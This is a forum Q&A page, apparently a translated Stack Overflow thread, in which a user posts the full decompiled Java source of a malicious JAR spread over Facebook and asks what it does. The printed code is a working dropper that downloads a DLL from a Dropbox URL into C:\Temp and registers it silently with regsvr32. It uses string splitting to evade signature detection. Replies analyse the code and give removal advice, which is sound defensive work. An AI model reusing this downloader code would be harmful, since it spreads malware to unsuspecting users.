有人能解释一下下面这段windows的匿名/恶作剧代码吗?
本文关键字:恶作剧 代码 windows 能解释 一下 | 更新日期: 2023-09-27 17:50:32
警告:
不要在任何机器上执行这段代码。可能是恶意代码你好,我在facebook上找到了一份文件,来自一个看起来很像virus
的人。所以我下载了它,很高兴我不是在Windows。
我在virustotal上扫描了它,它说这个文件不久前刚扫描过,这意味着这个文件已经流传了一段时间。我还是扫描了一下,虚拟系统说它是干净的。
所以它的Zip文件,有一个jar文件,当我反编译jar文件中的。class文件到java
代码时,它有硬编码字符串到C:'
驱动器和一个dropbox url来下载数据文件。然后使用regsvr做一些注册表级别的更改。
因此,在这一点上,它很好地隐藏在一个无辜的jar文件中。但即使下载的module.dat
文件看起来没有病毒根据virustotal
清单文件:
Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045
但是有人能解释一下这段代码到底是做什么的吗?在进入代码之前…
数据文件似乎有这个:
PE32可执行文件(DLL) (GUI) Intel 80386, for MS Windows
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
public class IMG_00045
{
public static void main(String[] paramArrayOfString)
throws Exception
{
String str1 = "C:''T";
str1 = str1.concat("emp");
File localFile1 = new File(str1);
localFile1.mkdir();
File localFile2 = new File("C:''Temp''asdfr1.dat");
if (localFile2.exists())
{
proc();
} else {
String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
String str3 = "C:''Temp''asdfr1.dat";
dl(str2, str3);
}
}
public static void proc()
throws IOException
{
int i = 1;
while (i < 7)
{
bala();
i++;
}
}
public static void bala()
throws IOException
{
String[] arrayOfString = { "regsvr32", "/s", "C:''Temp''asdfr1.dat" };
Runtime localRuntime = Runtime.getRuntime();
Process localProcess = localRuntime.exec(arrayOfString);
}
public static void dl(String paramString1, String paramString2)
throws IOException
{
URL localURL = new URL(paramString1);
FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
byte[] arrayOfByte = new byte[250000];
InputStream localInputStream = localURL.openStream();
int i;
while ((i = localInputStream.read(arrayOfByte)) != -1)
localFileOutputStream.write(arrayOfByte, 0, i);
localInputStream.close();
localFileOutputStream.close();
proc();
}
}
有人能解释一下吗什么是PE32 dll?为什么开发人员要使用两个字符串创建目录?(T + emp)扫描器可以检查这种类型的字符串吗?我不太了解注册码…它对注册表项和所涉及的dll做了什么[我提供了下面的链接,这是对数据文件内容的分析](不执行它:))
我也有数据文件分析链接,有人查看注册表,dll,锁涉及
https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/代码从外部dropbox帐户下载文件并将其注册到系统中。该文件是DLL库。DLL保存在C:'Temp文件夹中。
问题:有人能解释一下什么是PE32 dll吗?http://en.wikipedia.org/wiki/Portable_Executable
问题:为什么开发人员使用两个字符串创建目录?(T + emp)扫描器可以检查这种类型的字符串吗?
攻击者阻止签名检测。
问题:它对注册表项和所涉及的dll做了什么?
攻击者利用任何应用程序以确定的顺序搜索所需dll的事实。第一个位置是当前文件夹。
攻击者场景:用户从C:'Temp文件夹运行任何应用程序。如果应用程序使用同名DLL中的方法,它会首先找到恶意DLL并执行其代码。
我昨天也收到了这个内容,不幸的是我运行了这个jar文件。它触发了对我联系人列表中的人的相同附件。我使用java反编译器浏览了一下类文件,发现上面给出的内容相同。
它实际上试图下载DAT文件并尝试使用regsvr32注册它。但是,在注册的时候有一个错误。我知道,当我故意试图注册它,知道什么是关键下,它将安装。DLL寄存器不工作。
但是,这个病毒的一个大问题是,它正在传播给我们联系人列表中的所有用户,并试图自行传播。
作为现在,DAT文件是不可用的(它是从DROPBOXUSERCONTENT.com下载)。由于流量大,文件访问被拒绝。
解决方案:尝试删除文件和文件夹"C:'TEMP'ASDFR1.dat"。文件很容易删除,但文件夹删除可能不工作。在这种情况下,尝试恢复您的系统。之后我就可以删除文件夹了。
如果我还需要做什么,请告诉我。